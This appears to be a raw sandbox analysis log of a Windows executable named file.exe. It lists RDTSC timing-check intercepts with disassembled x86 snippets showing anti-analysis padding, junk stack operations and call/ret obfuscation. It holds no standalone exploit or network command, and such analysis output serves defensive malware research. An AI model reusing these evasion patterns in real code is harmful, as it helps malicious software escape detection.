Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49EC55 second address: 49EC67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F25EC6CB8ECh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49FC06 second address: 49FC52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 mov bl, 7Ah 0x0000000a sbb edi, 13F61997h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F25ED41A9E8h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c mov di, 5422h 0x00000030 mov edi, dword ptr [ebp+122D2A01h] 0x00000036 push 00000000h 0x00000038 xor edi, dword ptr [ebp+122D351Bh] 0x0000003e xchg eax, esi 0x0000003f jc 00007F25ED41A9F0h 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0CAA second address: 4A0CBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25EC6CB8F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0CBF second address: 4A0CC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49FEEA second address: 49FEF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49FEF5 second address: 49FEF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0CC5 second address: 4A0CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0CC9 second address: 4A0D0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25ED41A9EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov bl, 26h 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+1245B4EEh], ebx 0x00000018 push 00000000h 0x0000001a call 00007F25ED41A9F0h 0x0000001f mov edi, 50808276h 0x00000024 pop ebx 0x00000025 cld 0x00000026 push eax 0x00000027 jo 00007F25ED41A9F8h 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0D0D second address: 4A0D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1D3B second address: 4A1D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1D3F second address: 4A1D45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1D45 second address: 4A1D4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0ECD second address: 4A0ED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1D4C second address: 4A1D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jmp 00007F25ED41A9F6h 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0ED2 second address: 4A0EDC instructions: 0x00000000 rdtsc 0x00000002 je 00007F25EC6CB8ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0EDC second address: 4A0EF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jnp 00007F25ED41A9E8h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2EB8 second address: 4A2EBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4CEE second address: 4A4CF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7C90 second address: 4A7C9A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F25EC6CB8E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7D3B second address: 4A7D5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25ED41A9F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c je 00007F25ED41A9E6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4E39 second address: 4A4E3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5E20 second address: 4A5E3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F25ED41A9F0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5E3A second address: 4A5E3F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8C52 second address: 4A8C5C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F25ED41A9ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8C5C second address: 4A8C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8C68 second address: 4A8C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F25ED41A9E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8C73 second address: 4A8CDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25EC6CB8F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push ecx 0x0000000b mov dword ptr [ebp+122D371Bh], esi 0x00000011 pop ebx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F25EC6CB8E8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e or di, D123h 0x00000033 or ebx, dword ptr [ebp+122D1D65h] 0x00000039 push 00000000h 0x0000003b mov dword ptr [ebp+122D30AAh], esi 0x00000041 xchg eax, esi 0x00000042 pushad 0x00000043 jg 00007F25EC6CB8E8h 0x00000049 push edx 0x0000004a pop edx 0x0000004b push ebx 0x0000004c push esi 0x0000004d pop esi 0x0000004e pop ebx 0x0000004f popad 0x00000050 push eax 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6EC7 second address: 4A6F56 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F25ED41A9F7h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edi, dword ptr [ebp+124538F2h] 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov bx, cx 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 sub bx, 5110h 0x0000002b mov eax, dword ptr [ebp+122D0E21h] 0x00000031 push 00000000h 0x00000033 push eax 0x00000034 call 00007F25ED41A9E8h 0x00000039 pop eax 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e add dword ptr [esp+04h], 00000017h 0x00000046 inc eax 0x00000047 push eax 0x00000048 ret 0x00000049 pop eax 0x0000004a ret 0x0000004b jmp 00007F25ED41A9F6h 0x00000050 xor dword ptr [ebp+122D3084h], eax 0x00000056 push FFFFFFFFh 0x00000058 push eax 0x00000059 jbe 00007F25ED41A9F8h 0x0000005f push eax 0x00000060 push edx 0x00000061 jno 00007F25ED41A9E6h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6F56 second address: 4A6F5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8E2E second address: 4A8E32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD2A9 second address: 4AD2AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD2AD second address: 4AD2B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC3E4 second address: 4AC3EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD531 second address: 4AD535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD535 second address: 4AD53B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B55BF second address: 4B55E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25ED41A9F5h 0x00000009 jne 00007F25ED41A9E6h 0x0000000f jo 00007F25ED41A9E6h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B55E9 second address: 4B55FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25EC6CB8EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B58E4 second address: 4B58EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B58EA second address: 4B58F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B58F3 second address: 4B58FE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 je 00007F25ED41A9E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B58FE second address: 4B5910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F25EC6CB8E6h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5910 second address: 4B5923 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F25ED41A9E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA9D5 second address: 4BA9EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25EC6CB8F0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA9EA second address: 4BA9F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F25ED41A9E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE81F second address: 4BE835 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jns 00007F25EC6CB8E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jno 00007F25EC6CB8E6h 0x00000013 push edi 0x00000014 pop edi 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE835 second address: 4BE847 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F25ED41A9EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE847 second address: 4BE86B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F25EC6CB8E6h 0x00000008 jmp 00007F25EC6CB8F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE86B second address: 4BE87E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25ED41A9EFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF2D0 second address: 4BF2D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BFA23 second address: 4BFA2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F25ED41A9ECh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4538B5 second address: 4538DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25EC6CB8F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F25EC6CB8EEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 449881 second address: 44988D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F25ED41A9E6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C947B second address: 4C9489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F25EC6CB8E6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9489 second address: 4C949D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F25ED41A9E6h 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C949D second address: 4C94C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007F25EC6CB8F7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C94C2 second address: 4C94CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007F25ED41A9E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9771 second address: 4C9775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9775 second address: 4C977B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9BEF second address: 4C9BF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9BF3 second address: 4C9C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F25ED41A9EFh 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9C0E second address: 4C9C4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25EC6CB8EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F25EC6CB8F4h 0x0000000f pushad 0x00000010 js 00007F25EC6CB8E6h 0x00000016 jmp 00007F25EC6CB8F1h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9185 second address: 4C918A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA05D second address: 4CA061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA1DC second address: 4CA1E6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F25ED41A9ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D07DD second address: 4D07E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F25EC6CB8E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF246 second address: 4CF24D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF24D second address: 4CF252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF3E5 second address: 4CF3EA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF3EA second address: 4CF406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25EC6CB8F2h 0x00000009 pop ebx 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF54A second address: 4CF554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF554 second address: 4CF56C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F25EC6CB8F1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF6E6 second address: 4CF6F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF87A second address: 4CF880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CFB62 second address: 4CFB66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CFB66 second address: 4CFB6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CFCEE second address: 4CFCF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CFCF6 second address: 4CFCFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CFE9F second address: 4CFEA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CFEA5 second address: 4CFEA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CFEA9 second address: 4CFECE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25ED41A9F4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jp 00007F25ED41A9F2h 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0063 second address: 4D0079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F25EC6CB8ECh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47B8AF second address: 47B8DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F25ED41A9E6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d jc 00007F25ED41AA02h 0x00000013 jmp 00007F25ED41A9F6h 0x00000018 jo 00007F25ED41A9E6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47B8DE second address: 47B8E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D065B second address: 4D0672 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25ED41A9F1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CEE15 second address: 4CEE1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A29E second address: 49A2E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25ED41A9F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F25ED41A9E8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 lea eax, dword ptr [ebp+1248C032h] 0x0000002c add edi, 260660EAh 0x00000032 push eax 0x00000033 push esi 0x00000034 push edi 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A2E7 second address: 47ADC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D17F8h], edi 0x0000000f call dword ptr [ebp+122D379Ah] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 ja 00007F25EC6CB8E6h 0x0000001e jno 00007F25EC6CB8E6h 0x00000024 pop eax 0x00000025 pushad 0x00000026 push esi 0x00000027 pop esi 0x00000028 jmp 00007F25EC6CB8F0h 0x0000002d pushad 0x0000002e popad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A94E second address: 49A95F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25ED41A9EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
